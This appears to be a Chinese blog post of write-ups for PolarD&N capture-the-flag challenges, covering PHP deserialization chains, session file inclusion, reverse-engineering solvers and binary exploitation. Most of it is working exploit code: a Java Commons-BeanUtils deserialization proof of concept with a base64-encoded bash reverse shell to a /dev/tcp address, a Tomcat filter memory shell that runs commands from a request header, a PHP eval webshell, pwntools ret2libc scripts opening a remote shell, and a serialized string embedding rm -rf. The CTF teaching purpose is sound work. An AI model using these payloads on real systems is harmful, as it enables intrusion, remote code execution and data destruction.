根据源码可知,共用三个类分别为User()Surrender()FileRobot()。可知php反序列化的入口为User类中的 __wakeup()魔术方法,反序列化出口为FileRobot类中的Get_file()方法,通过Get_file()方法实现任意文件读取。

我们从入口__wakeup()分析,__wakeup()中调用了printName()方法,而printName()方法中存在echo $this->name;会将$this->name当作字符串输出。

public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    } 

Surrender()类中存在__toString(),该方法存在若$this->file['filename']中不存在content['title']则会默认调用$this->file['filename']__get($name)方法。

public function __toString()
    {
        return $this->file['filename']->content['title'];
    } 

而恰好在FileRobot()类中存在__get($name)方法,__get($name)方法中返回了$function(),并且FileRobot()类中存在__invoke()方法,同时在__invoke()方法中调用了Get_file($file)

public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
} 

综上分析可知利用链的构造顺序为:User->Surrender->FileRobot->FileRobot

因此我们需要一个User类,一个Surrender类,两个FileRobot类,payload如下:

$start = new User();
$string = new Surrender();
$file1 = new FileRobot();
$file2 = new FileRobot();
$file1->filename = '../flag.php';
$string->file['filename'] = $file2;
$start->name = $string;
$file2->path = $file1;
echo "\n";
echo urlencode(serialize($start));
/*
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A3%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3Bs%3A30%3A%22%E8%8B%A6%E6%B5%B7%E6%97%A0%E6%B6%AF%EF%BC%8C%E5%9B%9E%E5%A4%B4%E6%98%AF%E5%B2%B8%EF%BC%81%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A21%3A%22syst3m%28%22rm+-rf+.%2F%2A%22%29%3B%22%3B%7D
*/

 然后传参得到

hi, Welcome to Polar D&N ~ PD9waHAgDQoJJGZsYWcgPSAnZmxhZ3s2M2RkMGU5ZmJhZGQ2NjM1NDJhMmY4ZWExY2NjNjc2NX0nOw0KCT8+

base64解码即可。

flag{63dd0e9fbadd663542a2f8ea1ccc6765}

随机值

题目

 <?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?> 

我的解答:

一个简单的反序列化

exp:

phpurl

题目

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。 

我的解答:

根据提示解码加密文件

访问该地址,得到

 <?php
if("xxs"===$_GET[sys]) {
  echo("<p>Not a good idea!</p>");
  exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
  echo "<p>Welcome to polar LABS!</p>";
  echo "<p>Flag: XXXXXXX </p>";
}
?>

what can you find? 

上传参数名为sys,且值为xxs但需要url加密一下,而且是走两次第一个if条件

你想逃也逃不掉

题目

 <?php
/*
    https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';

$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
    echo file_get_contents('flag.php');
} 

我的解答:

该题考察反序列化字符逃逸。

filter函数为过滤函数,经过过滤替换之后会导致序列化字符串变短。

根据题目要求,我们可以通过输入name和passwd来间接修改sign的值。

我们需要将sign的值赋值为ytyyds。

<?php
/*
    https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
#highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = "hello";
$user['passwd'] = "admin";
$user['sign'] = 'ytyyds';
$ans = filter(serialize($user));
printf(serialize($user));

序列化处理后:

找到目标序列化字符串。;s:4:"sign";s:6:"ytyyds";}

但是直接加进去是不行的,我们要进一步构造一下。 

构造恶意字符串。

伪造特定数量的字符串传参给username,经过filter函数过滤后,会被替换为空。

再伪造passwd中的值,进而修改sign变量的值。

<?php
/*
    https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
#highlight_file(__FILE__);

function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
#$user['username'] = $_POST['name'];
$user['username'] = aspxaspxaspxaspxaspxgifgif;
$user['passwd'] = 'admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"';
$user['sign'] = '123456';

$ans = filter(serialize($user));
printf(serialize($user));
echo "\n";
echo "\n";
printf($ans);
echo "\n";

if(unserialize($ans)[sign] == "ytyyds"){
    echo file_get_contents('flag.php');
}

然后根据题目的传参方式进行传参。

name=aspxaspxaspxaspxaspxgifgif

passwd=admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"

CB链(赛后复现)

题目太难了!拿官方WP复现一下算了。

题目

我的解答:

题目给了一个jar包,反编译后查看Controller层内容如下:

/user路由下存在反序列化操作

查看pom.xml文件得到

看到存在commons-beanutils依赖且版本为1.9.2,可利用CB链Getshell

使用ysoserial项目中的CommonsBeanutils1链写一个POC,注意确保ysoserial项目中的pom.xml中的commons-beanutils与题目一致;

ysoserial项目地址:https://github.com/frohoff/ysoserial

编辑Evil类内容如下:

package ysoserial.poc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class MyExec extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4x5MDAxIDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

自定义命令如下:

Runtime.getRuntime().exec("bash -c {echo,反弹shell的payload Base64编码}|{base64,-d}|{bash,-i}");

Payload生成类如下:

package ysoserial.poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.util.Base64;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;

public class PoC {

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = getTemplate();

        // mock method name until armed

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        // create queue with numbers and basic comparator

        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        // stub data for replacement later

        queue.add("1");
        queue.add("1");

        // switch method called by comparator

        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(bytes));

//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
//        objectInputStream.readObject();

    }

    public static TemplatesImpl getTemplate() throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clz = classPool.get(MyExec.class.getName());
        TemplatesImpl obj = new TemplatesImpl();
        Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
        Reflections.setFieldValue(obj, "_name", "HelloTemplatesImpl");
        Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        return obj;

    }
}

漏洞利用,攻击机监听端口:

更改MyExec类中的 Runtime.getRuntime().exec()函数为反弹shell命令并运行;

将得到的payload传递给user参数并发送,攻击机接收到shell:

不出网利用(动态类加载)首先需要简单改造一下ysoserial定义一个类加载器:

package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();
            String classData=request.getParameter("classData");
            System.out.println("classData:"+classData);
            byte[] classBytes = Base64.getDecoder().decode(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {

    }
}

然后在ysoserial.payloads.util包的Gadgets类中照着原有的createTemplatesImpl方法添加一个createTemplatesImpl(Class c),参数即为我们要让服务端加载的类,如下直接将传入的c转换为字节码赋值给了_bytecodes

public static <T> T createTemplatesImpl(Class c) throws Exception {

    Class<T> tplClass = null;
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {

        tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");

    }else{

        tplClass = (Class<T>) TemplatesImpl.class;

    }

    final T templates = tplClass.newInstance();
    final byte[] classBytes = ClassFiles.classAsBytes(c);

    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes

    });

    Reflections.setFieldValue(templates, "_name", "Pwnr");
    return templates;

}

CB链为例写一个POC

package ysoserial.poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.util.Base64;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

public class PoC {

    public static void main(String[] args) throws Exception {

        final TemplatesImpl templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);

        //final TemplatesImpl templates = Gadgets.createTemplatesImpl(ysoserial.poc.Exp.class);

        //final TemplatesImpl templates = getTemplate();

        // mock method name until armed

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        // create queue with numbers and basic comparator

        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        // stub data for replacement later

        queue.add("1");

        queue.add("1");

        // switch method called by comparator

        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue

        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");

        queueArray[0] = templates;

        queueArray[1] = templates;
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);

        objectOutputStream.writeObject(queue);

        byte[] bytes = byteArrayOutputStream.toByteArray();

        System.out.println(Base64.getEncoder().encodeToString(bytes));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);

        objectInputStream.readObject();

    }

//  public static TemplatesImpl getTemplate() throws Exception {
//
//        ClassPool classPool = ClassPool.getDefault();
//        CtClass clz = classPool.get(Tomcat_Echo_inject_Filter.class.getName());
//
//        TemplatesImpl obj = new TemplatesImpl();

//        Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});

//        Reflections.setFieldValue(obj, "_name", "HelloTemplatesImpl");

//        Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//
//        return obj;

//    }

}

接下来即可写一个恶意类,该类可应用于不出网情景,可将简单的命令执行回显在responseHeader中,

为了方便注册filter,我直接让该类实现了Filter接口,在doFilter方法中完成Exp的主要逻辑,在equals方法中进行filter的动态注册

查看代码
 package ysoserial.poc;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class Exp implements javax.servlet.Filter{

    private javax.servlet.http.HttpServletRequest request = null;
    private org.apache.catalina.connector.Response response = null;
    private javax.servlet.http.HttpSession session =null;

    @Override

    public void init(FilterConfig filterConfig) throws ServletException {

    }

    public void destroy() {}

    @Override

    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {

        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;

        javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;

        javax.servlet.http.HttpSession session = request.getSession();

        String cmd = request.getHeader("Polar-CMD");

        System.out.println(cmd);

        if (cmd != null) {

            //System.out.println("1");

            response.setHeader("Polar-START", "OK");

            // 使用 ProcessBuilder 执行命令

            Process process = new ProcessBuilder(cmd.split("\\s+"))

                .redirectErrorStream(true)

                .start();

            //System.out.println("2");

            // 获取命令执行的输入流

            InputStream inputStream = process.getInputStream();

            // 使用 Java 8 Stream 将输入流转换为字符串

            String result = new BufferedReader(new InputStreamReader(inputStream))

                .lines()

                .collect(Collectors.joining(System.lineSeparator()));

            System.out.println("3");

            response.setHeader("Polar-RESULT",result);

        } else {

            filterChain.doFilter(request, response);

        }

    }

    public boolean equals(Object obj) {

        Object[] context=(Object[]) obj;

        this.session = (javax.servlet.http.HttpSession ) context[2];

        this.response = (org.apache.catalina.connector.Response) context[1];

        this.request = (javax.servlet.http.HttpServletRequest) context[0];

        try {

            dynamicAddFilter(new Exp(),"Shell","/*",request);

        } catch (IllegalAccessException e) {

            e.printStackTrace();

        }

        return true;

    }

    public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {

        javax.servlet.ServletContext servletContext=request.getServletContext();

        if (servletContext.getFilterRegistration(name) == null) {

            java.lang.reflect.Field contextField = null;

            org.apache.catalina.core.ApplicationContext applicationContext =null;

            org.apache.catalina.core.StandardContext standardContext=null;

            java.lang.reflect.Field stateField=null;

            javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

            try {

                contextField=servletContext.getClass().getDeclaredField("context");

                contextField.setAccessible(true);

                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);

                contextField=applicationContext.getClass().getDeclaredField("context");

                contextField.setAccessible(true);

                standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

                stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");

                stateField.setAccessible(true);

                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

                filterRegistration = servletContext.addFilter(name, filter);

                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});

                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");

                filterStartMethod.setAccessible(true);

                filterStartMethod.invoke(standardContext, null);

                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);

            }catch (Exception e){

            }finally {

                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);

            }

        }

    }

}

然后就可以任意执行了,修改Polar-CMD:cat flag即可得到结果。

safe_include

题目:

 <?php 
show_source(__FILE__); 
@session_start();

ini_set('open_basedir', '/var/www/html/:/tmp/'); 

$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
    $sys = $_GET['xxs'];
}

@include $sys;

$_SESSION['xxs'] = $sys;

我的解答:

考点:session文件包含漏洞

我们需要做的:

首先通过Docker搭建的PHP环境下该路径默认不存放session而是在/tmp目录下会生成临时文件。

接下来我们创建session文件,通过唯一可控的参数xxs,再通过GET方式传递一个一句话木马。

传入恶意代码。

?xxs=<?php eval($_POST['a']);?>

session的文件名为:sess_sessionid,构造payload: url/sess_1sptur60038df8a7ngc124smt0, Getshell。

蚁剑连接

RE

easyre1

我的解答:

exp:

a='d^XSAozQPU^WOBU[VQOATZSE@AZZVOF'
flag = ''
b = '5055045045055045055045055045055'
for i in range(len(a)):
    flag+=chr((ord(a[i])+1)^ord(b[i]))
    print(flag)
#PolarDNbecomesbiggerandstronger

babyRE

我的解答:

也就是说加2等于flag

exp:

a='asdfgcvbnmjgtlop'
flag = ''
for i in range(len(a)):
    flag+=chr(ord(a[i])+2)
print(flag)
#cufhiexdpolivnqr

PY_RE

题目

start.py

import Test
Dict = {}
key = 'A'
value = 26
for i in range(1,27):
    Dict.setdefault(key, value)
    key = chr(ord(key) + 1)
    value = value - 1
print("===================Py_Reverse====================")

def main():
    Input_Str = input("Please Input Str:\n")
    Input_Str = list(Input_Str)
    Test.EnData1(Input_Str,Dict)
    Test.Judge(Input_Str)
main()

Test.py

def EnData1(Input_Str,Dict):
    for i in range(int(len(Input_Str)/2),len(Input_Str)):
        for dict in Dict:
            if Input_Str[i] == str(dict):
                Input_Str[i] = Dict[dict]
                break
def Judge(Input_Str):
    FLAG = ['H', 'E', 'L', 'L', 'O', '_', '_', 11, 2, 7, 19, 12, 13]
    if str(Input_Str) == str(FLAG):
        print("YES!")
    else:
        print("NO!")
all_data = []
def EnData(Input_Str,Dict):
    for i in range(int(len(Input_Str)/2),len(Input_Str)):
        flag = 0
        for dict in Dict:
            if Input_Str[i] == dict:
                all_data.append(Dict[dict])
                flag = 1
        if  flag == 0:
            all_data.append(Input_Str[i])

我的解答:

打印字典

MD5加密

flag{ceee59bbd765a9cb20daa0c1d2b3b9d0}

PWN

look

我的解答:

exp:

from pwn import *
p=remote('120.46.59.242','2095')
w_plt=0x80483E0
w_got=0x804A018
main=0x8048410
payload=b'a'*108+p32(0)+p32(w_plt)+p32(main)+p32(1)+p32(w_got)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
print(hex(write_addr))

libc_add=write_addr-0x0d44d0
bin_sh=libc_add+0x15912b
system=libc_add+0x03a950
payload=b'a'*112+p32(system)+p32(main)+p32(bin_sh)
p.sendline(payload)
p.interactive()

05ret2libc_64

我的解答:

64位的ret2libc

先泄露libc地址,再通过栈核栈溢出,来执行system(“/bin/sh”),getshell

exp:

from pwn import *
p=remote('120.46.59.242','2099')
puts_plt=0x4005A0
gets_got=0x601038
pop_rdi=0x400843
main=0x400610
payload=b'a'*256+p64(0)+p64(pop_rdi)+p64(gets_got)+p64(puts_plt)+p64(main)
p.recvuntil('question:\n')
p.sendline(payload)
p.recvuntil('Maybe the answer is 0\n')
gets_got=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=gets_got-0x06ed90
bin_sh=libc_base+0x18ce57
system=libc_base+0x0453a0
payload=b'a'*256+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

 

posted @ 2023-12-10 00:45  清纯少女小琪  阅读(713)  评论(2编辑  收藏  举报